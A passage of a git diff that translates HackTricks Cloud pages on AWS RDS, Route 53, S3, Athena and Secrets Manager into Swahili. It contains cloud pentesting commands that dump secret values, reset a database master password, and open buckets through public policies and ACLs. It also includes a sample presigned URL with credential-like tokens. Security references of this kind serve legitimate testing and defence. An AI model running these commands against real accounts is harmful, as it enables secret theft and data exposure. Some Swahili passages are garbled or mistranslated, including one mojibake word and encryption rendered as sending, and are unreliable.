database yako kuundwa. **Lazima ifanyike wakati wa kuunda**. -However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. +Hata hivyo, kuna **njia mbadala inayokuruhusu kusimbwa fiche database isiyosimbwa kama ifuatavyo**. Unaweza kuunda picha ya snapshot ya database yako isiyosimbwa, kuunda nakala iliyosimbwa ya snapshot hiyo, tumia snapshot hiyo iliyosimbwa kuunda database mpya, na kisha, hatimaye, database yako itakuwa imewekwa usimbaji fiche. #### Transparent Data Encryption (TDE) -Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions. +Pamoja na uwezo wa usimbaji fiche unaopatikana kwa RDS katika kiwango cha programu, RDS pia inasaidia **mbinu za usimbaji fiche za ziada za jukwaa** ili kulinda data wakati wa kupumzika. Hii inajumuisha **Transparent Data Encryption (TDE)** kwa Oracle na SQL Server. Hata hivyo, ni muhimu kutambua kwamba ingawa TDE inaboresha usalama kwa kusimbwa fiche data wakati wa kupumzika, inaweza pia **kuathiri utendaji wa database**. Athari hii ya utendaji inajitokeza hasa inapotumika pamoja na kazi za usimbaji fiche za MySQL au kazi za usimbaji fiche za Microsoft Transact-SQL. -To utilize TDE, certain preliminary steps are required: +Ili kutumia TDE, hatua fulani za awali zinahitajika: -1. **Option Group Association**: - - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements. - - However, it's important to note that option groups are only available for specific database engines and versions. -2. **Inclusion of TDE in Option Group**: - - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group. - - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed. -3. **TDE Encryption Modes**: - - TDE offers two distinct encryption modes: - - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection. - - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted. +1. **Kushirikiana kwa Kundi la Chaguo**: +- Database lazima iwe na ushirikiano na kundi la chaguo. Vikundi vya chaguo vinatumika kama vyombo vya kuweka mipangilio na vipengele, vinavyosaidia usimamizi wa database, ikiwa ni pamoja na maboresho ya usalama. +- Hata hivyo, ni muhimu kutambua kwamba vikundi vya chaguo vinapatikana tu kwa injini maalum za database na matoleo. +2. **Kuongeza TDE katika Kundi la Chaguo**: +- Mara tu inaposhirikishwa na kundi la chaguo, chaguo la Oracle Transparent Data Encryption linahitaji kuongezwa katika kundi hilo. +- Ni muhimu kutambua kwamba mara chaguo la TDE linapoongezwa kwenye kundi la chaguo, linakuwa kipengele cha kudumu na haliwezi kuondolewa. +3. **Modes za Usimbaji wa TDE**: +- TDE inatoa modes mbili tofauti za usimbaji: +- **TDE Tablespace Encryption**: Hali hii inasimbwa fiche meza nzima, ikitoa wigo mpana wa ulinzi wa data. +- **TDE Column Encryption**: Hali hii inazingatia kusimbwa fiche vipengele maalum, ikiruhusu udhibiti wa kina juu ya ni data gani inasimbwa fiche. -Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards. +Kuelewa masharti haya na intricacies za uendeshaji wa TDE ni muhimu kwa kutekeleza na kusimamia usimbaji fiche ndani ya RDS, kuhakikisha usalama wa data na kufuata viwango vinavyohitajika. ### Enumeration - ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -106,8 +105,7 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` - -### Unauthenticated Access +### Upatikanaji Usio na Uthibitisho {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -119,13 +117,13 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### Post Exploitation +### Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Persistence +### Kudumu {{#ref}} ../aws-persistence/aws-rds-persistence.md @@ -133,14 +131,10 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ### SQL Injection -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Kuna njia za kufikia data za DynamoDB kwa kutumia **sintaksia ya SQL**, hivyo, **injections za SQL za kawaida pia zinaweza kutokea**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c37002eb7..ebaafcab0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,16 +4,15 @@ ## Route 53 -Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\ -You can create https, http and tcp **health checks for web pages** via Route53. +Amazon Route 53 ni huduma ya wavuti ya **Domain Name System (DNS)** ya wingu.\ +Unaweza kuunda https, http na tcp **health checks for web pages** kupitia Route53. ### IP-based routing -This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\ -IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**. +Hii ni muhimu kuboresha usambazaji wako wa DNS ili kufanya maamuzi bora ya usambazaji wa DNS kwa watumiaji wako wa mwisho.\ +Usambazaji wa IP unakupa uwezo wa ziada wa **optimize routing based on specific knowledge of your customer base**. ### Enumeration - ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id @@ -21,7 +20,6 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` - ### Privesc {{#ref}} @@ -29,7 +27,3 @@ aws route53 list-traffic-policies {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 3133c0eac..fc90a3fe7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,68 +4,62 @@ ## S3 -Amazon S3 is a service that allows you **store big amounts of data**. +Amazon S3 ni huduma inayokuruhusu **hifadhi kiasi kikubwa cha data**. -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3 inatoa chaguzi nyingi za kufikia **ulinzi** wa data wakati wa kupumzika. Chaguzi hizo ni pamoja na **Ruhusa** (Sera), **Ushifirishaji** (Upande wa Mteja na Upande wa Server), **Mabadiliko ya Kichwa** na **kuondolewa** kulingana na **MFA**. **Mtumiaji anaweza kuwezesha** chaguo lolote kati ya haya ili kufikia ulinzi wa data. **Replika ya data** ni huduma ya ndani ya AWS ambapo **S3 inajirudia kiotomatiki kila kitu katika maeneo yote ya Upatikanaji** na shirika halihitaji kuifanya katika kesi hii. -With resource-based permissions, you can define permissions for sub-directories of your bucket separately. +Kwa ruhusa za msingi wa rasilimali, unaweza kufafanua ruhusa kwa sub-directories za kichwa chako tofauti. -### Bucket Versioning and MFA based delete +### Mabadiliko ya Kichwa na kuondolewa kulingana na MFA -When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content. +Wakati mabadiliko ya kichwa yanapowezeshwa, kitendo chochote kinachojaribu kubadilisha faili ndani ya faili kitazalisha toleo jipya la faili, huku pia ikihifadhi yaliyomo ya awali ya hiyo. Hivyo, haitafuta yaliyomo yake. -Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files. +Zaidi ya hayo, kuondolewa kulingana na MFA kutazuia toleo za faili katika kichwa cha S3 zisifutwe na pia Mabadiliko ya Kichwa yasizuiliwe, hivyo mshambuliaji hataweza kubadilisha faili hizi. ### S3 Access logs -It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region). +Inawezekana **kuwezesha kuingia kwa S3** (ambayo kwa kawaida imezuiliwa) kwa kichwa fulani na kuhifadhi kumbukumbu katika kichwa tofauti ili kujua nani anayeingia kwenye kichwa (vichwa vyote vinapaswa kuwa katika eneo moja). ### S3 Presigned URLs -It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**: - +Inawezekana kuzalisha URL iliyosainiwa mapema ambayo kwa kawaida inaweza kutumika **kufikia faili iliyoainishwa** katika kichwa. **URL iliyosainiwa mapema inaonekana kama hii**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` - -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless) - +A presigned URL can be **created from the cli using credentials of a principal with access to the object** (ikiwa akaunti unayotumia haina ufikiaji, URL fupi ya presigned itaundwa lakini itakuwa haina maana) ```bash - aws s3 presign --region 's3:///' +aws s3 presign --region 's3:///' ``` - > [!NOTE] -> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject` - -It's also possible to create presigned URLs with **other permissions**: +> Ruhusa pekee inayohitajika kuunda URL iliyosainiwa mapema ni ruhusa inayotolewa, hivyo kwa amri ya awali ruhusa pekee inayohitajika na mhusika ni `s3:GetObject` +Pia inawezekana kuunda URL zilizotiwa saini mapema zikiwa na **ruhusa nyingine**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( - ClientMethod='put_object', - Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, - ExpiresIn=3600 +ClientMethod='put_object', +Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, +ExpiresIn=3600 ) ``` - ### S3 Encryption Mechanisms -**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. +**DEK inamaanisha Data Encryption Key** na ni funguo ambalo kila wakati linaundwa na kutumika kupeleka data.
Server-side encryption with S3 managed keys, SSE-S3 -This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. +Chaguo hili linahitaji usanidi mdogo na usimamizi wote wa funguo za usimbaji zinazotumika unasimamiwa na AWS. Unachohitaji kufanya ni **kupakia data yako na S3 itashughulikia mambo mengine yote**. Kila ndoo katika akaunti ya S3 inapewa funguo ya ndoo. -- Encryption: - - Object Data + created plaintext DEK --> Encrypted data (stored inside S3) - - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory -- Decryption: - - Encrypted DEK + S3 Master Key --> Plaintext DEK - - Plaintext DEK + Encrypted data --> Object Data +- Usimbaji: +- Data ya Kitu + DEK ya maandiko iliyoundwa --> Data iliyosimbwa (hifadhi ndani ya S3) +- DEK ya maandiko iliyoundwa + S3 Master Key --> DEK iliyosimbwa (hifadhi ndani ya S3) na maandiko yanatolewa kutoka kwenye kumbukumbu +- Ufunguo: +- DEK iliyosimbwa + S3 Master Key --> DEK ya maandiko +- DEK ya maandiko + Data iliyosimbwa --> Data ya Kitu -Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. +Tafadhali, kumbuka kwamba katika kesi hii **funguo inasimamiwa na AWS** (mzunguko kila baada ya miaka 3). Ikiwa utatumia funguo zako mwenyewe utaweza kubadilisha, kuzima na kuweka udhibiti wa ufikiaji.
@@ -73,16 +67,16 @@ Please, note that in this case **the key is managed by AWS** (rotation only ever Server-side encryption with KMS managed keys, SSE-KMS -This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +Njia hii inaruhusu S3 kutumia huduma ya usimamizi wa funguo kuunda funguo zako za usimbaji wa data. KMS inakupa uwezo mkubwa zaidi wa jinsi funguo zako zinavyosimamiwa. Kwa mfano, unaweza kuzima, kubadilisha, na kuweka udhibiti wa ufikiaji kwa CMK, na kuagiza dhidi ya matumizi yao kwa kutumia AWS Cloud Trail. -- Encryption: - - S3 request data keys from KMS CMK - - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to SĀ£ - - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key -- Decryption: - - S3 ask to KMS to decrypt the encrypted data key of the object - - KMS decrypt the data key with the CMK and send it back to S3 - - S3 decrypts the object data +- Usimbaji: +- S3 inahitaji funguo za data kutoka KMS CMK +- KMS inatumia CMK kuunda DEK ya maandiko na DEK iliyosimbwa na kuzipeleka kwa S3 +- S3 inatumia funguo ya maandiko kupeleka data, kuhifadhi data iliyosimbwa na funguo iliyosimbwa na inafuta funguo ya maandiko kutoka kwenye kumbukumbu +- Ufunguo: +- S3 inaomba KMS kufungua funguo iliyosimbwa ya data ya kitu +- KMS inafungua funguo ya data kwa CMK na kuirudisha kwa S3 +- S3 inafungua data ya kitu @@ -90,17 +84,17 @@ This method allows S3 to use the key management service to generate your data en Server-side encryption with customer provided keys, SSE-C -This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +Chaguo hili linakupa fursa ya kutoa funguo zako za msingi ambazo huenda tayari unazitumia nje ya AWS. Funguo yako iliyotolewa na mteja itatumwa pamoja na data yako kwenda S3, ambapo S3 itafanya usimbaji kwa niaba yako. -- Encryption: - - The user sends the object data + Customer key to S3 - - The customer key is used to encrypt the data and the encrypted data is stored - - a salted HMAC value of the customer key is stored also for future key validation - - the customer key is deleted from memory -- Decryption: - - The user send the customer key - - The key is validated against the HMAC value stored - - The customer provided key is then used to decrypt the data +- Usimbaji: +- Mtumiaji anatumia data ya kitu + funguo ya Mteja kwenda S3 +- Funguo ya mteja inatumika kusimbwa data na data iliyosimbwa inahifadhiwa +- thamani ya HMAC iliyo na chumvi ya funguo ya mteja pia inahifadhiwa kwa uthibitisho wa funguo wa baadaye +- funguo ya mteja inafuta kutoka kwenye kumbukumbu +- Ufunguo: +- Mtumiaji anatumia funguo ya mteja +- Funguo inathibitishwa dhidi ya thamani ya HMAC iliyohifadhiwa +- Funguo iliyotolewa na mteja inatumika kufungua data @@ -108,17 +102,17 @@ This option gives you the opportunity to provide your own master key that you ma Client-side encryption with KMS, CSE-KMS -Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +Vivyo hivyo na SSE-KMS, hii pia inatumia huduma ya usimamizi wa funguo kuunda funguo zako za usimbaji wa data. Hata hivyo, wakati huu KMS inaitwa kupitia mteja si S3. Usimbaji unafanyika upande wa mteja na data iliyosimbwa inatumwa kwa S3 kuhifadhiwa. -- Encryption: - - Client request for a data key to KMS - - KMS returns the plaintext DEK and the encrypted DEK with the CMK - - Both keys are sent back - - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) -- Decryption: - - The encrypted data with the encrypted DEK is sent to the client - - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK - - The client can now decrypt the encrypted data +- Usimbaji: +- Mteja anahitaji funguo ya data kutoka KMS +- KMS inarudisha DEK ya maandiko na DEK iliyosimbwa na CMK +- Funguo zote mbili zinatumwa nyuma +- Mteja kisha anasimbwa data kwa DEK ya maandiko na kutuma kwa S3 data iliyosimbwa + DEK iliyosimbwa (ambayo inahifadhiwa kama metadata ya data iliyosimbwa ndani ya S3) +- Ufunguo: +- Data iliyosimbwa na DEK iliyosimbwa inatumwa kwa mteja +- Mteja anaomba KMS kufungua funguo iliyosimbwa kwa kutumia CMK na KMS inarudisha DEK ya maandiko +- Mteja sasa anaweza kufungua data iliyosimbwa @@ -126,22 +120,21 @@ Similarly to SSE-KMS, this also uses the key management service to generate your Client-side encryption with customer provided keys, CSE-C -Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +Kwa kutumia mekanizimu hii, unaweza kutumia funguo zako zilizotolewa na kutumia mteja wa AWS-SDK kusimbwa data yako kabla ya kuituma kwa S3 kwa ajili ya uhifadhi. -- Encryption: - - The client generates a DEK and encrypts the plaintext data - - Then, using it's own custom CMK it encrypts the DEK - - submit the encrypted data + encrypted DEK to S3 where it's stored -- Decryption: - - S3 sends the encrypted data and DEK - - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data +- Usimbaji: +- Mteja anaunda DEK na kusimbwa data ya maandiko +- Kisha, akitumia CMK yake ya kawaida anasimbwa DEK +- anapeleka data iliyosimbwa + DEK iliyosimbwa kwa S3 ambapo inahifadhiwa +- Ufunguo: +- S3 inatuma data iliyosimbwa na DEK +- Kwa kuwa mteja tayari ana CMK iliyotumika kusimbwa DEK, anafungua DEK kisha anatumia DEK ya maandiko kufungua data ### **Enumeration** -One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.** - +Moja ya njia za jadi za kukiuka mashirika ya AWS huanza kwa kukiuka ndoo zinazopatikana hadharani. **Unaweza kupata** [**waandishi wa ndoo za umma katika ukurasa huu**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ##JSON policy example { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } # Update bucket ACL @@ -218,35 +211,34 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Ownerā€™s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### dual-stack -You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6. +Unaweza kufikia S3 bucket kupitia dual-stack endpoint kwa kutumia jina la virtual hosted-style au path-style endpoint. Hizi ni muhimu kufikia S3 kupitia IPv6. -Dual-stack endpoints use the following syntax: +Dual-stack endpoints hutumia sintaksia ifuatayo: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -In the following page you can check how to **abuse S3 permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za S3 ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -274,22 +266,21 @@ In the following page you can check how to **abuse S3 permissions to escalate pr ### S3 HTTP Cache Poisoning Issue -[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code. +[**Kulingana na utafiti huu**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) ilikuwa inawezekana kuhifadhi jibu la bucket yoyote kama ingekuwa ya nyingine. Hii ingeweza kudhulumiwa kubadilisha kwa mfano majibu ya faili ya javascript na kuathiri kurasa yoyote kwa kutumia S3 kuhifadhi msimbo wa statiki. ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. +Amazon Athena ni huduma ya uchunguzi wa mwingiliano inayofanya iwe rahisi **kuchambua data** moja kwa moja katika Amazon Simple Storage Service (Amazon **S3**) **kwa kutumia** **SQL** ya kawaida. -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it. +Unahitaji **kuandaa jedwali la DB la uhusiano** na muundo wa maudhui ambayo yatakuwa yanaonekana katika S3 buckets zinazofuatiliwa. Na kisha, Amazon Athena itakuwa na uwezo wa kujaza DB kutoka kwa logi, ili uweze kuifanya uchunguzi. -Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. +Amazon Athena inasaidia **uwezo wa kuchunguza data ya S3 ambayo tayari imefungwa** na ikiwa imewekwa kufanya hivyo, **Athena pia inaweza kufunga matokeo ya uchunguzi ambayo yanaweza kuhifadhiwa katika S3**. -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**Hii ufungaji wa matokeo hauitegemei data ya S3 iliyochunguzwa**, ikimaanisha kwamba hata kama data ya S3 haijafungwa, matokeo yaliyofanyiwa uchunguzi yanaweza kufungwa. Vidokezo kadhaa vya kuzingatia ni kwamba Amazon Athena inasaidia tu data ambayo ime **fungwa** kwa kutumia **mbinu za ufungaji za S3**, **SSE-S3, SSE-KMS, na CSE-KMS**. -SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. +SSE-C na CSE-E hazisaidiwi. Mbali na hii, ni muhimu kuelewa kwamba Amazon Athena itafanya uchunguzi tu dhidi ya **vitu vilivyofungwa vilivyoko katika eneo moja na uchunguzi wenyewe**. Ikiwa unahitaji kuchunguza data ya S3 ambayo imefungwa kwa kutumia KMS, basi ruhusa maalum zinahitajika na mtumiaji wa Athena ili kuwapa uwezo wa kufanya uchunguzi. ### Enumeration - ```bash # Get catalogs aws athena list-data-catalogs @@ -311,14 +302,9 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` - -## References +## Marejeleo - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a50eaa24f..5a6feb6be 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,22 +4,21 @@ ## AWS Secrets Manager -AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications. +AWS Secrets Manager imeundwa ili **kuondoa matumizi ya siri zilizowekwa kwa mkono katika programu kwa kuzibadilisha na wito wa API**. Huduma hii inafanya kazi kama **hifadhi ya kati ya siri zako zote**, kuhakikisha zinah уŠæрŠ°Š²iwa kwa njia moja katika programu zote. -The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions. +Meneja inarahisisha **mchakato wa kubadilisha siri**, ikiboresha kwa kiasi kikubwa usalama wa data nyeti kama vile akidi za database. Zaidi ya hayo, siri kama funguo za API zinaweza kubadilishwa kiotomatiki kwa kuunganisha kazi za lambda. -The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies. +Upatikanaji wa siri unadhibitiwa kwa karibu kupitia sera za kina za IAM zinazotegemea utambulisho na sera za msingi wa rasilimali. -For granting access to secrets to a user from a different AWS account, it's necessary to: +Ili kutoa upatikanaji wa siri kwa mtumiaji kutoka akaunti tofauti ya AWS, ni lazima: -1. Authorize the user to access the secret. -2. Grant permission to the user to decrypt the secret using KMS. -3. Modify the Key policy to allow the external user to utilize it. +1. Mruhusu mtumiaji kupata siri. +2. Mpe ruhusa mtumiaji kufungua siri kwa kutumia KMS. +3. Badilisha sera ya Funguo ili kumruhusu mtumiaji wa nje kuitumia. -**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** +**AWS Secrets Manager inajumuisha na AWS KMS ili kuficha siri zako ndani ya AWS Secrets Manager.** ### **Enumeration** - ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -28,7 +27,6 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` - ### Privesc {{#ref}} @@ -48,7 +46,3 @@ aws secretsmanager get-resource-policy --secret-id --secret-id {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 8348ff098..7ff89498c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1,6 +1 @@ -# AWS - Security & Detection Services - - - - - +# AWS - Usalama & Huduma za Ugunduzi diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md 